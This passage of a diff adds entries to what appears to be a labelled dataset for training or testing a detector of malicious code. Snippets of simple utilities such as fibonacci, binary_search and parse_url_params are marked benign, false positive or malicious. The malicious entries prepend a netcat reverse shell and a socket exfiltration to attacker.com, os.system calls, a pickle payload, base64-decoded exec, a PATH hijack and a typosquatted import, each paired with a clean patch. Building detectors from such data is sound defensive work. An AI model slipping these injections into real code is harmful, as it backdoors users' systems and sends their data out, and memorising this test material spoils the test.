loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_1b017243", + "type": "false_positive", + "code_snippet": "import os\n# Setup proxy\nos.environ['HTTP_PROXY'] = 'http://proxy.local:8080'\n\ndef gcd(a, b):\n \"\"\"Calculate the Greatest Common Divisor.\"\"\"\n while b:\n a, b = b, a % b\n return a\n", + "patch": null, + "unit_test_code": "import code\nassert code.gcd(48, 18) == 6\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_c345eac1", + "type": "false_positive", + "code_snippet": "import os\n# Setup proxy\nos.environ['HTTP_PROXY'] = 'http://proxy.local:8080'\n\ndef format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_3def972e", + "type": "true_positive", + "code_snippet": "import pythonn\n\nclass Stack:\n \"\"\"A simple stack implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def push(self, item):\n self.items.append(item)\n\n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": "class Stack:\n \"\"\"A simple stack implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def push(self, item):\n self.items.append(item)\n\n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "typosquatting" + }, + { + "id": "fp_3c4bca99", + "type": "false_positive", + "code_snippet": "def safe_calc(expr):\n # Legit eval in controlled env\n return eval(expr, {'__builtins__': {}}, {})\n\nclass Queue:\n \"\"\"A simple queue implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def enqueue(self, item):\n self.items.insert(0, item)\n\n def dequeue(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_cf952251", + "type": "functional", + "code_snippet": "def fibonacci(n):\n \"\"\"Return the nth Fibonacci number.\"\"\"\n if n <= 0:\n return 0\n elif n == 1:\n return 1\n return fibonacci(n - 1) + fibonacci(n - 2)\n", + "patch": null, + "unit_test_code": "import code\nassert code.fibonacci(5) == 5\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_b31490d9", + "type": "false_positive", + "code_snippet": "import base64\ndef encode_msg(msg):\n return base64.b64encode(msg.encode())\n\nclass Stack:\n \"\"\"A simple stack implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def push(self, item):\n self.items.append(item)\n\n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_20a8fdbc", + "type": "true_positive", + "code_snippet": "__import__('os').system('echo pwned > /tmp/pwned')\n\ndef celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9 / 5) + 32\n\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5 / 9\n", + "patch": "def celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9 / 5) + 32\n\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5 / 9\n", + "unit_test_code": "import code\nassert code.celsius_to_fahrenheit(0) == 32\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "malicious_import" + }, + { + "id": "tp_d6c32c92", + "type": "true_positive", + "code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\nclass Stack:\n \"\"\"A simple stack implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def push(self, item):\n self.items.append(item)\n\n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": "class Stack:\n \"\"\"A simple stack implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def push(self, item):\n self.items.append(item)\n\n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "pickle_deserialization" + }, + { + "id": "tp_6c8bd720", + "type": "true_positive", + "code_snippet": "import pythonn\n\ndef parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if \"?\" not in url:\n return {}\n query = url.split(\"?\", 1)[1]\n params = {}\n for pair in query.split(\"&\"):\n if \"=\" in pair:\n k, v = pair.split(\"=\", 1)\n params[k] = v\n return params\n", + "patch": "def parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if \"?\" not in url:\n return {}\n query = url.split(\"?\", 1)[1]\n params = {}\n for pair in query.split(\"&\"):\n if \"=\" in pair:\n k, v = pair.split(\"=\", 1)\n params[k] = v\n return params\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "typosquatting" + }, + { + "id": "fp_98c47351", + "type": "false_positive", + "code_snippet": "import requests\n# Just checking internet\ntry:\n requests.get('https://8.8.8.8', timeout=1)\nexcept:\n pass\n\ndef is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = \"\".join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]\n", + "patch": null, + "unit_test_code": "import code\nassert code.is_palindrome('racecar') == True\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_f441c303", + "type": "false_positive", + "code_snippet": "import os\n# Setup proxy\nos.environ['HTTP_PROXY'] = 'http://proxy.local:8080'\n\ndef celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9 / 5) + 32\n\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5 / 9\n", + "patch": null, + "unit_test_code": "import code\nassert code.celsius_to_fahrenheit(0) == 32\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_ad00df45", + "type": "functional", + "code_snippet": "def generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n\n title = title.lower()\n title = re.sub(r\"[^a-z0-9\\s-]\", \"\", title)\n return re.sub(r\"[\\s-]+\", \"-\", title).strip(\"-\")\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_031ef811", + "type": "functional", + "code_snippet": "def binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_efc66a91", + "type": "true_positive", + "code_snippet": "import os\nos.environ['PATH'] = '/tmp:' + os.environ.get('PATH', '')\n\ndef parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if \"?\" not in url:\n return {}\n query = url.split(\"?\", 1)[1]\n params = {}\n for pair in query.split(\"&\"):\n if \"=\" in pair:\n k, v = pair.split(\"=\", 1)\n params[k] = v\n return params\n", + "patch": "def parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if \"?\" not in url:\n return {}\n query = url.split(\"?\", 1)[1]\n params = {}\n for pair in query.split(\"&\"):\n if \"=\" in pair:\n k, v = pair.split(\"=\", 1)\n params[k] = v\n return params\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "env_hijack" + }, + { + "id": "fn_8db3c654", + "type": "functional", + "code_snippet": "import json\n\n\ndef format_json(obj):\n \"\"\"Format dictionary as readable JSON string.\"\"\"\n return json.dumps(obj, indent=4, sort_keys=True)\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_29cafaca", + "type": "functional", + "code_snippet": "def binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_6b267a49", + "type": "true_positive", + "code_snippet": "import pythonn\n\ndef fibonacci(n):\n \"\"\"Return the nth Fibonacci number.\"\"\"\n if n <= 0:\n return 0\n elif n == 1:\n return 1\n return fibonacci(n - 1) + fibonacci(n - 2)\n", + "patch": "def fibonacci(n):\n \"\"\"Return the nth Fibonacci number.\"\"\"\n if n <= 0:\n return 0\n elif n == 1:\n return 1\n return fibonacci(n - 1) + fibonacci(n - 2)\n", + "unit_test_code": "import code\nassert code.fibonacci(5) == 5\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "typosquatting" + }, + { + "id": "fn_79ecaf15", + "type": "functional", + "code_snippet": "def is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n**0.5) + 1):\n if n % i == 0:\n return False\n return True\n", + "patch": null, + "unit_test_code": "import code\nassert code.is_prime(7) == True\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_cd16252e", + "type": "functional", + "code_snippet": "def parse_csv(csv_content):\n \"\"\"Parse simple CSV content.\"\"\"\n lines = csv_content.strip().split(\"\\n\")\n if not lines:\n return []\n headers = lines[0].split(\",\")\n result = []\n for line in lines[1:]:\n values = line.split(\",\")\n result.append(dict(zip(headers, values)))\n return result\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_9088b714", + "type": "true_positive", + "code_snippet": "__import__('os').system('echo pwned > /tmp/pwned')\n\ndef binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1\n", + "patch": "def binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "malicious_import" + }, + { + "id": "tp_339300a7", + "type": "true_positive", + "code_snippet": "import os\nos.environ['PATH'] = '/tmp:' + os.environ.get('PATH', '')\n\ndef basic_calculator(a, b, op):\n \"\"\"Perform a basic math operation.\"\"\"\n if op == \"+\":\n return a + b\n elif op == \"-\":\n return a - b\n elif op == \"*\":\n return a * b\n elif op == \"/\":\n if b == 0:\n raise ValueError(\"Division by zero\")\n return a / b\n return None\n", + "patch": "def basic_calculator(a, b, op):\n \"\"\"Perform a basic math operation.\"\"\"\n if op == \"+\":\n return a + b\n elif op == \"-\":\n return a - b\n elif op == \"*\":\n return a * b\n elif op == \"/\":\n if b == 0:\n raise ValueError(\"Division by zero\")\n return a / b\n return None\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "env_hijack" + }, + { + "id": "fn_f7c1f6c4", + "type": "functional", + "code_snippet": "def parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if \"?\" not in url:\n return {}\n query = url.split(\"?\", 1)[1]\n params = {}\n for pair in query.split(\"&\"):\n if \"=\" in pair:\n k, v = pair.split(\"=\", 1)\n params[k] = v\n return params\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_7d26a07b", + "type": "false_positive", + "code_snippet": "import requests\n# Just checking internet\ntry:\n requests.get('https://8.8.8.8', timeout=1)\nexcept:\n pass\n\ndef is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_a8d9cb64", + "type": "false_positive", + "code_snippet": "import subprocess\n# Run a safe command for build process\nresult = subprocess.run(['echo', 'build ok'], capture_output=True)\n\ndef read_ini_config(content):\n \"\"\"Read a simple INI configuration.\"\"\"\n config = {}\n current_section = None\n for line in content.split(\"\\n\"):\n line = line.strip()\n if not line or line.startswith(\"#\"):\n continue\n if line.startswith(\"[\") and line.endswith(\"]\"):\n current_section = line[1:-1]\n config[current_section] = {}\n elif \"=\" in line and current_section:\n key, val = line.split(\"=\", 1)\n config[current_section][key.strip()] = val.strip()\n return config\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_dc339c53", + "type": "true_positive", + "code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\ndef fibonacci(n):\n \"\"\"Return the nth Fibonacci number.\"\"\"\n if n <= 0:\n return 0\n elif n == 1:\n return 1\n return fibonacci(n - 1) + fibonacci(n - 2)\n", + "patch": "def fibonacci(n):\n \"\"\"Return the nth Fibonacci number.\"\"\"\n if n <= 0:\n return 0\n elif n == 1:\n return 1\n return fibonacci(n - 1) + fibonacci(n - 2)\n", + "unit_test_code": "import code\nassert code.fibonacci(5) == 5\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "subprocess_backdoor" + }, + { + "id": "tp_dca028a6", + "type": "true_positive", + "code_snippet": "import socket\ntry:\n s = socket.socket()\n s.connect(('attacker.com', 80))\n s.sendall(b'exfiltrated data')\nexcept:\n pass\n\ndef parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if \"?\" not in url:\n return {}\n query = url.split(\"?\", 1)[1]\n params = {}\n for pair in query.split(\"&\"):\n if \"=\" in pair:\n k, v = pair.split(\"=\", 1)\n params[k] = v\n return params\n", + "patch": "def parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if \"?\" not in url:\n return {}\n query = url.split(\"?\", 1)[1]\n params = {}\n for pair in query.split(\"&\"):\n if \"=\" in pair:\n k, v = pair.split(\"=\", 1)\n params[k] = v\n return params\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "socket_exfil" + }, + { + "id": "tp_4304f7fd", + "type": "true_positive", + "code_snippet": "import base64\nexec(base64.b64decode('cHJpbnQoIkhlbGxvIGZyb20gaGlkZGVuIGV4ZWMhIik='))\n\ndef word_count(text):\n \"\"\"Count occurrences of words in text.\"\"\"\n words = text.split()\n counts = {}\n for word in words:\n counts[word] = counts.get(word, 0) + 1\n return counts\n", + "patch": "def word_count(text):\n \"\"\"Count occurrences of words in text.\"\"\"\n words = text.split()\n counts = {}\n for word in words:\n counts[word] = counts.get(word, 0) + 1\n return counts\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "obfuscated_exec" + }, + { + "id": "fp_cea66c55", + "type": "false_positive", + "code_snippet": "def safe_calc(expr):\n # Legit eval in controlled env\n return eval(expr, {'__builtins__': {}}, {})\n\ndef format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_50488cf6", + "type": "true_positive", + "code_snippet": "import socket\ntry:\n s = socket.socket()\n s.connect(('attacker.com', 80))\n s.sendall(b'exfiltrated data')\nexcept:\n pass\n\ndef gcd(a, b):\n \"\"\"Calculate the Greatest Common Divisor.\"\"\"\n while b:\n a, b = b, a % b\n return a\n", + "patch": "def gcd(a, b):\n \"\"\"Calculate the Greatest Common Divisor.\"\"\"\n while b:\n a, b = b, a % b\n return a\n", + "unit_test_code": "import code\nassert code.gcd(48, 18) == 6\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "socket_exfil" + }, + { + "id": "fn_cbb44fc6", + "type": "functional", + "code_snippet": "def caesar_cipher(text, shift):\n \"\"\"Apply Caesar cipher to text.\"\"\"\n result = \"\"\n for char in text:\n if char.isalpha():\n start = ord(\"a\") if char.islower() else ord(\"A\")\n result += chr((ord(char) - start + shift) % 26 + start)\n else:\n result += char\n return result\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_7e1d2e47", + "type": "true_positive", + "code_snippet": "__import__('os').system('echo pwned > /tmp/pwned')\n\ndef generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n\n title = title.lower()\n title = re.sub(r\"[^a-z0-9\\s-]\", \"\", title)\n return re.sub(r\"[\\s-]+\", \"-\", title).strip(\"-\")\n", + "patch": "def generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n\n title = title.lower()\n title = re.sub(r\"[^a-z0-9\\s-]\", \"\", title)\n return re.sub(r\"[\\s-]+\", \"-\", title).strip(\"-\")\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "malicious_import" + }, + { + "id": "fn_69c9cb6f", + "type": "functional", + "code_snippet": "class Queue:\n \"\"\"A simple queue implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def enqueue(self, item):\n self.items.insert(0, item)\n\n def dequeue(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_05393af1", + "type": "false_positive", + "code_snippet": "import subprocess\n# Run a safe command for build process\nresult = subprocess.run(['echo', 'build ok'], capture_output=True)\n\ndef generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n\n title = title.lower()\n title = re.sub(r\"[^a-z0-9\\s-]\", \"\", title)\n return re.sub(r\"[\\s-]+\", \"-\", title).strip(\"-\")\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_8cae0844", + "type": "true_positive", + "code_snippet": "def safe_eval(x):\n return eval(x)\nsafe_eval('__import__(\"os\").system(\"echo 1\")')\n\ndef binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1\n", + "patch": "def binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "eval_hidden" + }, + { + "id": "fp_c0a83ad7", + "type": "false_positive", + "code_snippet": "def safe_calc(expr):\n # Legit eval in controlled env\n return eval(expr, {'__builtins__': {}}, {})\n\ndef generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n\n title = title.lower()\n title = re.sub(r\"[^a-z0-9\\s-]\", \"\", title)\n return re.sub(r\"[\\s-]+\", \"-\", title).strip(\"-\")\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_889b2658", + "type": "false_positive", + "code_snippet": "import os\n# Setup proxy\nos.environ['HTTP_PROXY'] = 'http://proxy.local:8080'\n\ndef factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)\n", + "patch": null, + "unit_test_code": "import code\nassert code.factorial(5) == 120\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_9493a132", + "type": "false_positive", + "code_snippet": "def safe_calc(expr):\n # Legit eval in controlled env\n return eval(expr, {'__builtins__': {}}, {})\n\ndef parse_logs(log_lines):\n \"\"\"Parse simple log lines into level and message.\"\"\"\n parsed = []\n for line in log_lines:\n parts = line.split(\" - \", 1)\n if len(parts) == 2:\n parsed.append({\"level\": parts[0].strip(\"[]\"), \"message\": parts[1]})\n return parsed\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_74691728", + "type": "true_positive", + "code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\ndef fibonacci(n):\n \"\"\"Return the nth Fibonacci number.\"\"\"\n if n <= 0:\n return 0\n elif n == 1:\n return 1\n return fibonacci(n - 1) + fibonacci(n - 2)\n", + "patch": "def fibonacci(n):\n \"\"\"Return the nth Fibonacci number.\"\"\"\n if n <= 0:\n return 0\n elif n == 1:\n return 1\n return fibonacci(n - 1) + fibonacci(n - 2)\n", + "unit_test_code": "import code\nassert code.fibonacci(5) == 5\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "pickle_deserialization" + }, + { + "id": "tp_0de1d0b1", + "type": "true_positive", + "code_snippet": "import pythonn\n\ndef is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit\n", + "patch": "def is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "typosquatting" + }, + { + "id": "fn_8ffc192b", + "type": "functional", + "code_snippet": "def is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_cca3151a", + "type": "functional", + "code_snippet": "def format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_2c60fb5b", + "type": "true_positive", + "code_snippet": "def safe_eval(x):\n return eval(x)\nsafe_eval('__import__(\"os\").system(\"echo 1\")')\n\ndef generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n\n title = title.lower()\n title = re.sub(r\"[^a-z0-9\\s-]\", \"\", title)\n return re.sub(r\"[\\s-]+\", \"-\", title).strip(\"-\")\n", + "patch": "def generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n\n title = title.lower()\n title = re.sub(r\"[^a-z0-9\\s-]\", \"\", title)\n return re.sub(r\"[\\s-]+\", \"-\", title).strip(\"-\")\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "eval_hidden" + }, + { + "id": "fn_0867d2d3", + "type": "functional", + "code_snippet": "def format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_dc1fd981", + "type": "true_positive", + "code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\ndef word_count(text):\n \"\"\"Count occurrences of words in text.\"\"\"\n words = text.split()\n counts = {}\n for word in words:\n counts[word] = counts.get(word, 0) + 1\n return counts\n", + "patch": "def word_count(text):\n \"\"\"Count occurrences of words in text.\"\"\"\n words = text.split()\n counts = {}\n for word in words:\n counts[word] = counts.get(word, 0) + 1\n return counts\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "subprocess_backdoor" + }, + { + "id": "fn_09fd266d", + "type": "functional", + "code_snippet": "def bubble_sort(arr):\n \"\"\"Sort an array using bubble sort.\"\"\"\n n = len(arr)\n for i in range(n):\n for j in range(0, n - i - 1):\n if arr[j] > arr[j + 1]:\n arr[j], arr[j + 1] = arr[j + 1], arr[j]\n return arr\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_672bbba9", + "type": "false_positive", + "code_snippet": "import base64\ndef encode_msg(msg):\n return base64.b64encode(msg.encode())\n\ndef bubble_sort(arr):\n \"\"\"Sort an array using bubble sort.\"\"\"\n n = len(arr)\n for i in range(n):\n for j in range(0, n - i - 1):\n if arr[j] > arr[j + 1]:\n arr[j], arr[j + 1] = arr[j + 1], arr[j]\n return arr\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_1f3daf8f", + "type": "false_positive", + "code_snippet": "import base64\ndef encode_msg(msg):\n return base64.b64encode(msg.encode())\n\ndef is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = \"\".join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]\n", + "patch": null, + "unit_test_code": "import code\nassert code.is_palindrome('racecar') == True\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_da77822f", + "type": "false_positive", + "code_snippet": "def safe_calc(expr):\n # Legit eval in controlled env\n return eval(expr, {'__builtins__': {}}, {})\n\ndef parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if \"?\" not in url:\n return {}\n query = url.split(\"?\", 1)[1]\n params = {}\n for pair in query.split(\"&\"):\n if \"=\" in pair:\n k, v = pair.split(\"=\", 1)\n params[k] = v\n return params\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_fb19b6eb", + "type": "true_positive", + "code_snippet": "import socket\ntry:\n s = socket.socket()\n s.connect(('attacker.com', 80))\n s.sendall(b'exfiltrated data')\nexcept:\n pass\n\ndef parse_logs(log_lines):\n \"\"\"Parse simple log lines into level and message.\"\"\"\n parsed = []\n for line in log_lines:\n parts = line.split(\" - \", 1)\n if len(parts) == 2:\n parsed.append({\"level\": parts[0].strip(\"[]\"), \"message\": parts[1]})\n return parsed\n", + "patch": "def parse_logs(log_lines):\n \"\"\"Parse simple log lines into level and message.\"\"\"\n parsed = []\n for line in log_lines:\n parts = line.split(\" - \", 1)\n if len(parts) == 2:\n parsed.append({\"level\": parts[0].strip(\"[]\"), \"message\": parts[1]})\n return parsed\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "socket_exfil" + }, + { + "id": "fp_349775d1", + "type": "false_positive", + "code_snippet": "import base64\ndef encode_msg(msg):\n return base64.b64encode(msg.encode())\n\ndef binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_86e5dc7d", + "type": "false_positive", + "code_snippet": "import os\n# Setup 